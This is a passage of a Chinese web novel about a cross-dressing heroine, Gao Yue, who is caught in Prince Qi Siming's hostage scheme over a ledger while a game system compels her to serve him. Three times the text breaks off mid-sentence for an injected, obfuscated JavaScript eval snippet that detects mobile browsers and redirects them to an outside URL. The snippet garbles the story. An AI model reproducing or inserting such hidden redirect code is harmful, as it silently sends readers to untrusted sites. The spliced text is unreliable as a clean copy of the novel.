满满一盆脏水混着尚未洗净的衣物瞬间翻倒,浑浊的污水溅了王氏一身,将她那件粗麻衣衫彻底浸透。 “我再问一遍,人,你藏到哪里去了?” 王氏吓得一声尖叫,狼狈地跌坐在满是污水的地上。 “我真的不知道!”王氏吓得魂飞魄散,抱着头在地上痛哭,“公子,我就是有天大的胆子,也不敢再动您的人啊!” “哦?” 高玥弯腰拾起旁边的棒槌,掂了掂分量,然后猛地挥起,对着旁边一个空着的石臼狠狠砸下! 坚硬的石臼瞬间裂开了一道口子。 浣衣坊内一片死寂,众人连大气都不敢出。 王氏哪里见过这种阵仗,更是吓得几乎晕厥过去。 她瘫软在地上,语无伦次地辩解道:“不是我……真的不是我……公子饶命……” 高玥盯着她那张早已被吓破了胆的脸,眼中满是惊慌失措。 这不像是在演戏。 一个被吓破了胆的人,装不出这副模样。 难道,真的不是她? 高玥心头的焦躁愈发浓烈。 她俯下身,凑到王氏耳边,声音不大不小:“今天这一下,是给你的教训。记住,我的人,你碰不得。若再有下次,等着你的,就不是这小小浣衣坊了。” 她的声音很轻,却带着似有似无地威胁,让王氏的身体抖得更厉害了。 她瘫软在地上,那双恐惧的瞳孔中倒映出眼前人的身影。眼前的清瘦的男子哪还有半分那日的儒雅。 不,那根本不是人。 王氏苦笑了一下。 这分明是从修罗场里走出来的活煞神! 高玥缓缓直起身,不再看她一眼,转身离去。 …… 直到高玥的身影彻底消失在门口,浣衣坊内的人才敢小口地喘气,却依旧不敢上前,只是小心翼翼地打量着依旧瘫在地上的王氏。 就在此时,一个身影悄无声息地从堆放杂物的阴影里走了出来,那是一个衣着干净的内侍。 他走到王氏身边,带着几分不屑。 一个钱袋被扔到王氏脚边。 “拿着。” “这点子苦头,上头自然不会让你白受。” 王氏见到来人,浑身一颤,连忙捡起钱袋。 她低着头,不敢看内侍的眼睛,“谢大人。” 内侍没有多看她一眼,只是淡淡说道,“记住自己的本分,不该说的,一个字都别说。” 说完,他便转身离开,只留下王氏一人,看着高玥离去的方向,眼中充满怨毒。 …… 接下来的两天,高玥几乎将整个山城翻了个底朝天,却依旧没有青莲的任何消息。 她不是没有再去红袖阁打探。 她甚至利用李显这个身份,又一次混上了三楼。 可那里依旧是歌舞升平,一个青莲的消失对他们来说好似只是丢了件物品一般,仿佛什么都未曾发生。 所有的线索,就好似一条条细小的溪流,无一例外地汇入红袖阁这片深不见底的潭水之中,然后便消失的无影无踪。 高盼,粉末,张婆婆,青莲…… 所有的猜测,所有的直觉,都齐刷刷地指向那座纸醉金迷的地方,然后,戛然而止。 这座繁华热闹的山城,第一次让高玥感到了巨大的无力。 短短一个月,高盼,青莲,两个活生生的女子就在她的眼皮子底下接连失踪。 街道上车水马龙,人声鼎沸。 高玥走在这边喧闹中,可却无法融入这份热闹。 这是山城,是大胤最富庶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335210|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城镇之一,目光所及之处,皆是安乐与祥和。 可只有她自己知道,这一切都是假象。 那些欢声笑语,那些富足安逸,都像是漂浮在沼泽上的浮萍,看似生机勃勃,底下却是能将人吞得尸骨无存的淤泥。 高盼,青莲……她们就像是掉进这片沼泽里的石子,连一圈涟漪都未曾激起,便被悄无声息地吞噬。 谁是下一个? 是那个正在挑选珠花,对未来充满憧憬的少女? 还是那个牵着母亲衣角的孩童? 高玥的脚步越来越慢,她看着眼前这川流不息的人群,第一次感受到了一种深深地无力感。 就在这时,一阵小小的骚动吸引了她的注意。 一个妇人正拉着一个路过的货郎,神情激动地比划着什么,声音急切又嘶哑。 那货郎却不耐烦地甩开她的手,嘴里嘟囔着走远了。 妇人却不放弃,又转向下一个路人,几乎是哀求着开口。 高玥的脚步顿住了。 那妇人约莫四十出头,头发蓬乱得像一团枯草,那双本该温柔的眼睛,此刻却满是血丝。 身上的衣服也早已变形,衣角和袖口沾着不知从哪里蹭来的污渍,与那上好的苏绣锦缎格格不入。 是母亲! 这才过去多久? 那个她初回家省亲时,还处处透着神采奕奕的妇人,此刻竟像是被抽干了精气神,一下子苍老了十几岁。 高玥的心猛地一揪。 她定了定神,走上前去,用尽量温和的语气开口:“这位大娘,你在找人?” 听到终于有人搭理她,高母浑浊的眼睛里闪过一丝光亮,她猛地拽住高玥的衣袖,结结巴巴地说道:“公子你有没有见过我的女儿?我的盼儿!她就这么高,” 她因为激动而慌乱地比划着,“眼睛大大的,很爱笑……她不见了,我的盼儿不见了!” 她还想再说些什么,可后面的话却怎么都再也说不出口,最终化作一声压抑到极致的呜咽。 紧接着,那呜咽渐渐变成无法控制的抽泣。 最后,她像是再也支撑不住,整个人顺着高玥的衣袖缓缓滑落在地,将脸深深地埋进自己的臂弯,发出了哀鸣般的嚎啕大哭。 高玥攥紧了拳头。 她的脑海中闪过高士廉那张永远波澜不惊的脸。他关心的永远是圣意,是家族的荣辱,一个女儿的失踪,在他权利的天平上,或许根本不占分量。 她又想到了那个高高在上的皇帝。此刻,她大概正卧在温柔乡里,耳边是靡靡之音。这山城里的一个小小女子的生死,于他而言,不过是盛世之下无关痛痒的一粒尘埃。 一个冷漠的父亲,一个享乐的君王。 高玥低下头,看着脚边这个几乎要哭断了气的妇人,心中涌起巨大的悲凉。 原来偌大的高家,这繁华的山城,乃至这整个大胤,真正在意高盼生死的,只有眼前这个衣衫不整,她穿越而来只见了寥寥数面的母亲。 这就是家人吗?这就是君父吗? 何其讽刺,何其悲哀。 看着高母那双充满希冀与哀求的眼睛,高玥突然感到一阵不忍。 她深吸一口气,反手握住高母冰凉的手,郑重地承诺道:“大娘,你放心。我答应你,一定会帮你把女儿找回来。” …… 夜色深沉。 高玥拖着疲惫的身体回到那个小院。 推开门,里面空空荡荡。 没有熟悉的灯火,也没有那个会怯生生地喊她公子的身影。 白日里的喧嚣褪去,只剩下无边无际的寂静,将她整个人吞噬。 她恍若地走到桌边,桌上是那根孤零零的木簪。 青莲视若珍宝的东西,却没能带走。 迷茫与沮丧,如同冰冷的潮水,从四面八方涌来,将她淹没。 在那个被设定好的游戏世界里,她输给女主,是因为程序逻辑。她不甘,却不绝望,因为她知道那是虚假的。 可现在呢? 她第一次感觉到自己的渺小,如此无力。 这种无力感,不是面对齐思铭的算计,也不是面对宫廷的波谲云诡,而是面对一个母亲的哀嚎,面对一条生命的悄然离开。 那个所谓的“反派上位”的任务,在高母撕心裂肺的哭声中,显得那么苍白,那么可笑。 她对高母许下了承诺,可那承诺沉重地像一座山,压得她喘不过气来。 就在她沉浸在这种几近窒息的无力感中时,耳边蓦得响起一声划破空气的声音。 紧接着,一支羽箭稳稳地钉在她面前的桌子上。 高玥浑身一个激灵,迅速看向窗外,可除了摇曳的树影,什么也看不见。 一股寒意从脚底直冲天灵盖,她强迫自己冷静下来,看向桌子上的那支箭。 箭杆上,用一根极细的红绳绑着一个卷成细卷的纸条。 高玥深吸一口气,小心翼翼地解开纸条。 明日午时,红袖阁见。 31. 请君入瓮瓮中人 亥时三刻,夜色正浓。 按照山城的规矩,这本该是红袖阁一天里最活色生香的时候。 然而,当高玥依约走进红袖阁的时候,迎接她的却不是想象中的喧嚣。 空气中弥漫着一股若有若无的酒气,混杂着早已燃尽的沉香,与面前这摆放的过于整齐的桌椅板凳显得格格不入,规整中透露着一丝诡异的气息。 本该流光溢彩的台子此刻却不见一个舞姬的身影,高玥的心中腾起一股不祥的预感。 “有人吗?” 高玥对着空气喊了一声,可回应她的却只有空荡的回音。 故弄玄虚。 她心中冷笑了一声,再次说道,“没人那我就走了!” 她干脆利落地转身,作势便要往门外走。 就在她快要走出去的时候,身后终于传来一个略带谄媚与紧张的声音。 “公子留步!” 高玥回头,一个身影从楼梯间快步走了出来,正是红袖阁的鸨母。 她的脸上堆着笑,快步走到高玥面前,“公子莫怪,请随奴家来,那位已经在三楼等您了!” 高玥上下打量了她一番,冷冷说道,“妈妈这生意做得可真是别致,不知道的还以为您这红袖阁今儿个倒闭了呢!” 她语气中的嘲讽不加掩饰,“这么大的阵仗,不会只为了请我一人吧。那位贵客的架子,未免也太大了些。” 见鸨母的脸色白了又白,高玥也懒得跟她再废话,冷哼了一声,抬脚便往三楼走。 她循着楼梯往上走,脑中却在飞速盘算着。 张婆子,青莲,还有那个藏在幕后的人…… 无论对方是谁,布下这等阵仗,必然有所图谋。 她只要找到青莲,就能顺藤摸瓜。 三楼最大的那间雅间,门敞开着,似乎是早就在等她的到来。 高玥握紧袖中的匕首,原地深吸了一口气,这才缓缓踏入房内。 窗边坐着一个人。 他临窗而坐,一身白色锦袍,纤尘不染。 窗外皎洁的月色如水般洒在他的身上,勾勒出他清俊的身影。 他没有看她,只是低着头,慢条斯理地擦拭着手中的物件。 那是一支通体赤红的玉笛。 高玥的呼吸猛地一滞。 是齐思铭。 而他手中的笛子,正是当初在河北,她亲手送给他的那支。 怎么会是他? 在来时的路上,她曾设想过无数种可能。 这或许是太子的人设下的鸿门宴,又或许是张婆子背后那个真正的主使者终于露面,要与她当面对质。 她甚至还想过,也许会撞见青莲被绑在此处,等她自投罗网。 可她唯独没想过,这间屋子里等她的,竟然是齐思铭。 无数的念头在脑中炸开,却又被她强行压下。 她不能慌,她现在是李显,人尽皆知的纨绔子弟李显。 她松开握着匕首的手,定了定神,对着那道白衣背影躬身行礼,“在下李显,见过齐王爷。” 齐思铭擦拭笛子的动作停顿了一下,然后缓缓将玉笛置于桌案之上。 “我也没想到,李公子竟真会为了那丫头赴约。” 竟然真的是他! 高玥觉得自己呼吸有些急促,但表面上却还维持着纨绔自己的散漫,她故作镇定地说道,“王爷说笑了,青莲那丫头毕竟是我花了真金白银买回来的,就算是条狗,那也是我李家的狗。” 言下之意,如今有人不声不响地动了我的人,这不是打我们李家的脸吗? 齐思铭闻言转过头,那张温润如玉的脸上挂着一贯的和煦笑容,可一双眸子却深不见底。 “李公子,坐。”他并未回答高玥,只是朝对面的椅子点了点,语气平淡,仿佛是在邀请一位老友品茶。 这反应让高玥心底警铃大作。 但她还是依言坐下,脊背挺得笔直,双眼紧紧盯着他。 “青莲现在在何处?”高玥也懒得跟他装了,直接开门见山地问道。 “她一介弱女子,若有何得罪之处,还望王爷高抬贵手。” 齐思铭慢条斯理地瞥了她一眼,端起手边的茶盏,用杯盖轻轻撇去浮沫,“李公子何必着急。” “青莲的事,不急。” 他继续悠然道:“若本王没有记错,令尊是户部侍郎,掌管大胤钱粮。” “是又怎么样?”高玥不解,费了这么大周章,就为了来问这件事? 齐思铭眼底的笑意更深,“李公子身为户部侍郎之子,可却偏偏跟通源钱庄往来密切。” 高玥心中一愣。 源通钱庄这个名字,她并不陌生。 这些天为了找到高盼和青莲的下落,她也多多少少在这钱庄上面下过一番功夫。 表面上看,它和别的钱庄一样做着存钱放贷的生意,可暗地里却是个吃人不吐骨头的地方。 不仅放着逼死人命的高利贷,更是替过不少人处理见不得光的黑钱。 这个李显,竟然跟这种钱庄扯上关系? 但她表面上依旧维持着镇定,不耐烦地说道:“什么钱庄?本公子去哪儿花钱,还需要向王爷报备不成?” “我只问你,青莲呢?” 齐思铭像是没听见她的话一样,自顾自地继续说下去,“李公子,你我都是聪明人,就别绕圈子了。” 他放下茶杯,身体微微前倾,直视着高玥,眼神锋利地像是要看穿她。 这眼神看得高玥头皮发麻。 “有些东西,放在手里太烫,会灼伤自己。不如交出来,你我都能安心。”他低声轻笑了一声,然后一字一句地说道,“那个账本,你藏在何处?” 账本? 高玥彻底懵了。 她的脑子里只有张婆子,还有她怀疑红袖阁背后那条贩卖人口的罪恶链条。 至于什么账本,她从未听说过。 她的茫然是真实的,可这一切现在在齐思铭眼中,却是最拙劣的演技。 他脸上的笑意褪得一干二净,露出了高玥熟悉的神情。 当初他这么威胁她的时候,就是这个表情,她知道他的杀心已起。 “看来,李公子真是不见棺材不落泪。”齐思铭的声音冷了下来,“你以为,你做的那些事,真的天衣无缝吗?” 高玥还没来得及分辨他话里的深意,齐思铭便已经失去了所有耐心。 他拍了拍手。 雅间的侧门被推开,王友面无表情地走了进来,跟在他后面的,还有一个人,那人被麻绳捆得结结实实,嘴里还塞着布团。 正是青莲! 高玥“唰”地一下站了起来,神情紧张地看向齐思铭。 对于她的激烈反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377328|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,齐思铭似乎早有预料。 他甚至连坐姿都未曾变动分毫,只是用一种欣赏猎物的神情,打量着面前失控的人的模样。 青莲的头发散乱,脸上还挂着泪痕,一双眼睛里满是惊恐。 当她看到端坐在椅子上的“李显”时,她像是抓住了救命稻草,拼命地挣扎起来,头摇得像拨浪鼓。 齐思铭悠悠地站起身,踱步到青莲身边。 他伸出手指,轻佻地抬起青莲满是泪痕的下巴,迫使她仰起头。 他的动作很轻,眼神却带着审视的狠厉。 他对着高玥笑了,那笑容俊美依旧,却透着一股残忍的邪气。 是高玥从未见过的样子。 “你的相好,很不错。” 他松开手。 站在他身后的王友立刻会意,双手奉上一块丝帕。 齐思铭慢条斯理地擦拭着刚刚碰过青莲的手,那神情仿佛是沾上了什么脏东西一般。 “本王给你一炷香的时间。”他随意地将丝帕丢在地上,声音轻柔,“用账本,换她的命。” 他扫了青莲一眼,又看向高玥,语气愈发地残忍:“否则,你知道的,她的下场会是怎样。” 下场会是怎样? 她太知道了。 她见过地狱,而齐思铭,就是那个亲手创造地狱,并且欣赏着他人在地狱中挣扎惨叫的人。 在他身边待久了,看着他偶尔流露出的疲惫与脆弱,她竟然忘了。 这个男人的骨子里,流着的是怎样凉薄的血液。 可青莲是无辜的! 她只是一个想在这世道活下去的普通女孩,却因为自己的一时心软,被卷入了这顶端权利的漩涡,成了他用来威胁自己的筹码。 高玥正要开口,齐思铭却不给她说话的机会。 他再次拍了拍手。 只那一瞬,数道黑影闪现。 他们手持出鞘的利刃,转眼间就将高玥围住。 几柄冰冷的刀锋,齐齐架在了高玥的脖子上。 肌肤上传来刀刃冰凉的寒意,死亡的阴影笼罩下来。 高玥看着眼前这一幕,看着惊恐万状的青莲,看着神情冷漠的齐思铭,看着脖颈上泛着寒光的刀刃,她的脑子里突然“轰”地一声巨响。 像是一道闪电,劈开了所有的迷雾。 错了,都错了。 一直以来,她都以为这一切是红袖阁的阴谋。 可齐思铭从头到尾的目标都不是她,而是户部侍郎的儿子。 李显。 他费尽心机布下这个局,绑架青莲,引她前来,只是为了逼迫李显交出那个他口中至关重要的账本。 青莲是诱饵。 而她,是那条咬钩的鱼。 从将青莲带出红袖阁的那一晚,她就已经按照齐思铭写好的剧本,一步一步,心甘情愿地走进了陷阱的中心。 她所有的努力,所有的算计,在这一刻都显得无比荒谬和可笑。 脖子上的刀锋又近了一寸,似乎随时都能划破她的喉咙。 高玥缓缓地抬起头,看向面前的男人。 她的眼神变了。 那目光,让齐思铭的心头莫名一跳。 他觉得这眼神很熟悉,熟悉得让他心慌,却又想不起究竟在何处见过。 “放了青莲。”高玥冷冷地说道,“我给你账本。” 32. 血色谈判 以命为注 听到这句话,齐思铭脸上的冷漠有了一丝松动。 他看着面前的人,方才心头那一丝异样又浮现了出来。 但那感觉转瞬即逝,取而代之的是一种更加浓厚的探究。 他轻轻挑起眉梢,“哦?这么说,李公子是答应了?” 他的话音刚落,高玥便感觉到脖颈上一阵刺痛。 一股温热的黏腻感随之而来,是血。 只要这些手下稍稍用力,她的这条性命今天便要交代在此。 可这非但没有让她畏惧,死亡的逼迫反而让她愈发的清醒。 她忽然笑了。 那笑声极轻,带着说不出的讥讽。 她那双伪装成纨绔子弟的桃花眼,此刻褪去了所有轻浮,正一动不动地看着面前的男人。 她的眼神里没有恐惧,有的是一种玉石俱焚的疯狂。 她握紧了拳头,缓缓说道,“王爷,杀了我很容易。” “但你以为,我会蠢到把账本这种东西带在身上么?” 她停顿片刻,给了齐思铭一个玩味的眼神,然后继续说道。 “王爷以为,我今天敢前来赴约,当真是没做一点准备吗?” 齐思铭的眼神,骤然变了。 他死死地盯着她,那张温润如玉的脸上,温和的假面终于撕碎,露出一丝狠厉。 片刻的死寂之后,齐思铭忽然笑了。 “你耍我?” 架在高玥脖颈上的刀又深了一寸。 高玥深吸一口气,嘴角却勾起一丝极细微的弧度。 “那个账本。”她感受着脖颈处愈发清晰的刺痛,声音却无比镇定,“已经被我藏了起来。” “若我今晚不能安然无恙地走出这扇门,那么王爷心心念念的账本,”她顿了顿,观察着齐思铭愈发阴沉的表情,说道,“就会被我设置的一个机巧,彻底销毁。” “为了一个注定要消失的东西,陪上我这条命。这笔买卖,王爷,你说划算么?” 空气仿佛凝滞。 齐思铭的脸色已经难看到了极点。 他的嘴唇抿成一条直线,下颚线紧紧地绷着,仿佛在用尽全身的力气,压抑着即将喷涌而出的滔天怒火与杀意。 高玥知道,他正在飞速地权衡利弊。 良久,他抬了抬手。 侍卫会意,架在高玥脖颈上的刀挪开了半分,但那股威胁却未曾消散。 高玥敏锐地捕捉到了齐思铭表情的变化。 齐思铭脸上的阴沉褪去,取而代之的,是一抹兴味盎然的神情。 这表情如同猎人发现了猎物逃出陷阱,但下一秒却又落入更大的罗网。 他轻轻说道,“有意思,本王倒是小瞧了你。” 他突然站起身,缓步踱到高玥面前。 这一次,他没有再看她,而是绕着她走了一圈,目光带着审视与评估,仿佛在打量一件有趣的宝贝。 但是跟在他身后的王友显然没了耐心。 他上前一步,压低声音,“王爷,何必跟他废话,属下这就杀了他,在带人将他藏匿账本的地方掘地三尺,就不信找不到账本!” 齐思铭却连眼皮都未曾抬一下,只是随意地摆了摆手。 猫捉老鼠的游戏,若是这么快就见血,岂不无趣? 高玥紧紧地观察着齐思铭的表情变化,她知道,此刻的齐思铭已经不再将自己视为一个可以随意捏死的蝼蚁。 她的心已跳得飞快,手心早已被冷汗浸湿。 但是不管怎样,自己赌对了第一步。 齐思铭如此紧张,想必那个账本一定是他的计划中的重要一环。 想到这里,她的心思飞速转动,见威胁奏效,她立刻抓住这可能稍纵即逝的机会,准备乘胜追击。 “青莲与账本对我同样都重要。”她痛心疾首地开口,“但是为了青莲……” 她的语气重多了一丝决绝,仿佛在做一个极为痛苦的割舍,“我可以帮你拿到账本。” 一直被押在角落,早已吓得魂不附体的青莲,听到高玥的这番话,猛地抬起头,脸上写满了难以置信与感动。 她嗫嚅道,“公子……” 齐思铭脸上的兴味更浓了。 “好一出深情的戏码呐。”他轻笑了一声,随即看向高玥,“不过,你似乎搞错了一件事。” “你可不是在帮本王,你帮的是你自己,还有……她。” 他伸出一根手指,遥遥点了点青莲的方向。 “既然你这么说,本王可以给你这个机会。明日此时,本王要看到账本。” 高玥深吸了一口气,缓了缓心神,对上齐思铭的眼睛,“是王爷搞错了一件事,我帮王爷拿到账本,前提是。” 她顿了顿,一字一句地说道,“你必须先放了青莲。让她带着足够多的盘缠,安全离开山城。我保证,只要她平安,明日此时,账本必定奉上。” 这是她能想到的,唯一的破局之法。 然而,她话音刚落,齐思铭脸上的玩味瞬间消失得无影无踪。 他眼中墨色翻涌,取而代之的是一股凛冽的杀意。 他向前踏了半步,微微俯身,凑到高玥耳边。 那温热的气息让高玥浑身一震。 “你,”齐思铭的声音低沉,“现在是在跟本王,谈条件?” 他缓缓转过头,看向角落里瑟瑟发抖的青莲,那眼神,就如同在看一个死人。 “还是说,你觉得本王不敢杀了她?” 他甚至没有等高玥开口说话。 只是轻轻抬了一下下巴,一直跟在齐思铭身后的王友,手中的匕首猛地压下! “啊——” 青莲发出一声短促的疾呼。 那锋利的刀刃径直在她白皙纤弱的脖颈上,划开了一道细长的血痕。 殷红的血珠,顺着刀锋缓缓渗出,浅浅地滴落在她浅色的衣襟上。 高玥的瞳孔骤然紧缩! “你似乎还没明白自己的处境。”齐思铭居高临下地看着面色惨白的高玥,不屑地说道,“在这个房间里,你没有任何资格,跟本王谈条件。” 那碾压一切的姿态,将高玥刚刚建立起来的所有防线,瞬间击得粉碎。 账本…… 哪有什么账本! 那不过是她情急之下,为了保住青莲,孤注一掷撒下的一个谎言。 她以为自己抓住了他的软肋,却没想到,他根本就没有软肋,或者说,他的软肋绝不是她这种人可以触碰的。 青莲的眼泪夺眶而出,她看着为了自己而身陷险境的高玥,拼命地摇着头,口中被布团堵着,只能发出绝望的呜咽。 高玥死死地盯着齐思铭那双深不见底的眸子,试图从中找到一丝一毫的动摇,哪怕是伪装出来的。 可什么都没有。 青莲绝望的呜咽成了压垮高玥理智的最后一根稻草,彻底引爆了她心底的怒火。 那一瞬间,高玥脑子里嗡的一声,仿佛有什么东西彻底断裂。 怒火被一股刺骨的寒意浇灭,她看着齐思铭那张俊美却毫无温度的脸,第一次觉得有些荒谬可笑。 是啊,这就是齐思铭。 这才是他的本性,从未变过。 就是这样一个人,她要辅佐他去当皇帝? 一个为了达到自己的目的,就能毫不犹豫地对一个无辜少女挥下屠刀的人。 让他坐上那个至高无上的位置? 那龙椅之下,要用多少青莲这样无辜的尸骨去堆砌? 那万里江山,黎明百姓,在他的眼中和脚边可以随意踩死的蝼蚁,又有什么区别? 反派上位手册…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381200|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高玥突然觉得,这个名字是如此的讽刺。 她一直以为所谓的反派,是身世凄惨却忍辱负重的枭雄,她愿意帮助他去实现他的抱负,他的理想,用她现代人的智慧,去弥补他的短板。 可直到此时此刻,直到青莲脖子上的那道刺目的血痕落在她的眼中,她才真正意识到自己接下了一个多么可笑的任务。 “齐思铭!” 她声音因为极致的愤怒而剧烈颤抖,“你为了达到自己的目的,就可以如此不择手段,视人命如草芥吗?!” 这一刻,她几乎忘了自己还在扮演那个愚蠢的“李显”。 她只是高玥,一个无法容忍无辜生命在自己面前被肆意践踏的现代人。 然而,面对她燃尽一切的质问,齐思铭甚至连眉梢都没有动一下。 他只是淡淡地转过头,看着她那双燃烧着怒火的眼睛,轻轻地吐出了一个字。 “是。” 这一个字,平静,淡漠,却充满了不容辩驳的肯定。 它像一柄无形的重锤,狠狠砸在高玥的心上,将她所有的挣扎、愤怒和质问,都击得粉碎。 高玥怔住了。 她看着他那双冰冷得没有一丝波澜的眼睛,又看了看哭得几乎要昏厥过去的青莲,一股巨大的无力感瞬间席卷了她的全身。 可齐思铭像是完全没有看到高玥眼中那破碎的信念,甚至对她那副失魂落魄的样子都感到有些不耐烦,毫不在意地问道,“本王再问你一遍,到底交不交账本。” 这个问题,像一个荒诞至极的笑话,将高玥最后一丝挣扎也抽干了。 而就在这时,那冰冷的提示音,毫无预兆地响起。 【警告:检测到玩家与任务目标产生巨大冲突,主线任务失败风险大幅提升!】 【触发紧急修正程序】 一道只有她能看得见的蓝色光屏在她面前展开,红色加粗的大字,像是在对她发出最后通牒。 【《反派上位手册》核心规则第一条:玩家必须无条件接受任务目标的一切行为,并以此为基准提供最优辅佐方案。】 紧接着,屏幕跳出了一个选择框: 【是否接受?】 她明白了。 这哪里是询问,这分明是逼迫。 它在逼她承认,齐思铭所做的一切都是对的。 逼她承认,为了那个至高无上的皇位,所有挡路的人,都可以被当做蝼蚁一样碾碎。 逼她将自己奉行了二十多年的道德底线,通通踩在脚下,然后亲手奉上自己的灵魂,向这个恶魔宣誓效忠。 如果她点了是,那她就再也不是高玥了。 她会真正的变成他的同谋,一个彻头彻尾的,为了任务不择手段的怪物。 今天她可以默许他为了账本杀死青莲,明天就能为了更大的利益,眼睁睁地看着他屠戮更多无辜的人, 龙椅之下的尸骨,也有她的一份。 可如果她不接受…… 她看向那个瑟瑟发抖的少女,脖颈处的血痕刺的她眼睛灼痛。 只要她吐露半个“不”字,那把利刃,就会毫不犹豫地割断青莲的喉咙。 在绝对的权力面前,任何道德上的谴责,任何言语上的抗争,都显得那么苍白,那么可笑。 她就像一个试图跟猛虎讲道理的孩童。 她缓缓地闭上了眼睛。 再睁开时,眼中再无半分情绪。 “好。”她吐出一个字,声音沙哑干涩。 “我会帮你找到那个所谓的账本。” 她看着齐思铭,一字一顿,用尽全身力气说出最后的底线。 “但是,在我找到之前,你若敢伤她分毫……” 她的声音很轻,却带着从未有过的决绝与冰冷。 “我保证,你一定会后悔。” 33. 三方暗猎杀机现 高玥失魂落魄地走出红袖阁。 子时已过,喧闹的长街此刻空无一人。 她的脚步声在寂静中显得格外清晰,每一步都像是踩在自己的心上。 一阵冷风吹过,她下意识地缩了缩脖子。 也是这个动作,牵扯到了她脖颈处那道已经凝固的血痕,一阵尖锐的刺痛传来。 这也在无情地提醒着她,方才屋内的那一切是何等的真实。 青莲被扣,而自己也身陷谎言的泥沼。 齐思铭那句轻描淡写的“是”,就像一道魔咒,在她脑海里反复回响。 何其荒谬。 若非她阴差阳错地假扮了李显,是不是永远也看不见齐思铭那张面具下,藏着的是如此漠然的冷血? 那个曾在危难之中为她拨开迷雾的男人,与今夜这个视人命如草芥的恶魔,真的是同一个人吗? 她踉跄一步,几乎站立不稳,连忙用手扶住了旁边的墙壁,胃里一阵翻江倒海,她剧烈地干呕起来。 喉咙里火烧火燎,胃里阵阵痉挛,却什么也吐不出来。 她是在恶心齐思铭的冷酷无情,还是在恶心自己的懦弱与妥协? 或许,两者都有。 【玩家必须无条件接受任务目标的一切行为。】 冰冷的系统提示在视野中再次浮现,字字诛心。 那毫无感情的字体,此刻却仿佛一条沉重的铁鞭,死死拷问着她的灵魂。 她被迫选择了接受。 可这种接受,让她对自己产生了前所未有的厌恶。 辅佐这样一个心狠手辣、草菅人命的人登上皇位,与助纣为虐有何区别? 她所坚守的底线,在这个真实得可怕的世界里,脆弱得不堪一击。 巨大的无力感过后,是求生的本能攥住了她。 高玥撑着墙壁,缓缓直起身,脑中却不受控制的开始冷静思索。 恶心吗?当然恶心。 恨吗?当然恨。 但此刻这些情绪在青莲岌岌可危的性命面前,一文不值。 明日此时之前。 这个时间点,像一把悬在头顶的达摩克利斯之剑,让她不得不清醒地认识到,留给她的时间已经不多了。 那个所谓的账本,就是她唯一的筹码,就是她从齐思铭那个疯子手中换回青莲的唯一可能。 高玥深吸了一口气,空气入喉,却让她的大脑前所未有的清醒。 脑海中,关于李显、账本、红袖阁…… 所有凌乱的线索开始重新排列组合。 这一次,她必须赢。 不是为了什么该死的系统任务,也不是为了那个高高在上的龙椅。 只是为了那个瑟瑟发抖的女孩,还有她高玥,还没彻底沦为一个任人摆布的怪物。 可账本在哪儿? 她缓缓地背靠着墙壁做下来,粗糙的砖石咯着她的背,可那点微不足道的痛楚,反而让她混乱的思绪沉淀下来。 脑海中,齐思铭那温润的笑容一闪而过,她开始强迫自己站在他的角度去思考。 第一,这个账本绝对不是仅仅记录着简单的银钱来往那么简单。 能让他这么不择手段也到得到的东西,这账本必定是他整个谋逆大计中不可或缺的一环。 想通了这一点,高玥的心思更加地深沉。 既然账本如此重要,那它必然是被藏在一个绝对安全的地方,而这个地方,只有一个人最清楚。 李显。 真正的李显。 只有找到真正的李显,才能知道账本的下落。 他是皇后与齐思铭之间争斗的漩涡中心,也必定是解开这一切乱局的钥匙。 只有从他身上,才可能撬开一条活路。 …… 凤仪宫内,气氛压抑得令人窒息。 殿内的宫女太监们,一个个垂首屏息,生怕一丝一毫的声响,引来坐在凤座上的那位的不悦。 一名太监匍匐跪在殿中,正颤颤巍巍地汇报着刚从线人处得到的密报。 “娘娘……齐王爷在红袖阁设局,逼问……逼问李显交出账本……” 凤座之上,皇后淡淡地抬了抬眼,“他如何做的?” “齐王爷他……他好似抓了李显在红袖阁一位相好的女子,似乎是以那女子以性命相要挟……”那太监的声音越说越低,“奴才还听说……李显他好像已经……已经答应了。” “哦?”皇后终于有了一些轻微的反应,“为了一个女人?” 她轻声重复着这句话,似乎是听到了什么笑话一般。 殿内无人敢应声。 所有人都知道,皇后娘娘越是平静,便代表着即将来临的风暴更猛烈。 果然,她缓缓起身,踱步到一盆开得正盛的茶花旁。 那茶花娇艳欲滴,是花匠费劲心血才培育出来的极品。 皇后并未去抚摸花瓣,而是轻轻捏住了开得最盛的那一朵花茎。 “男人,总是会为了一些不值钱的东西,坏了大事。” 她嘴边噙着一抹极淡的笑意,但却在话音落下的瞬间,手指微微用力。 “咔嚓” 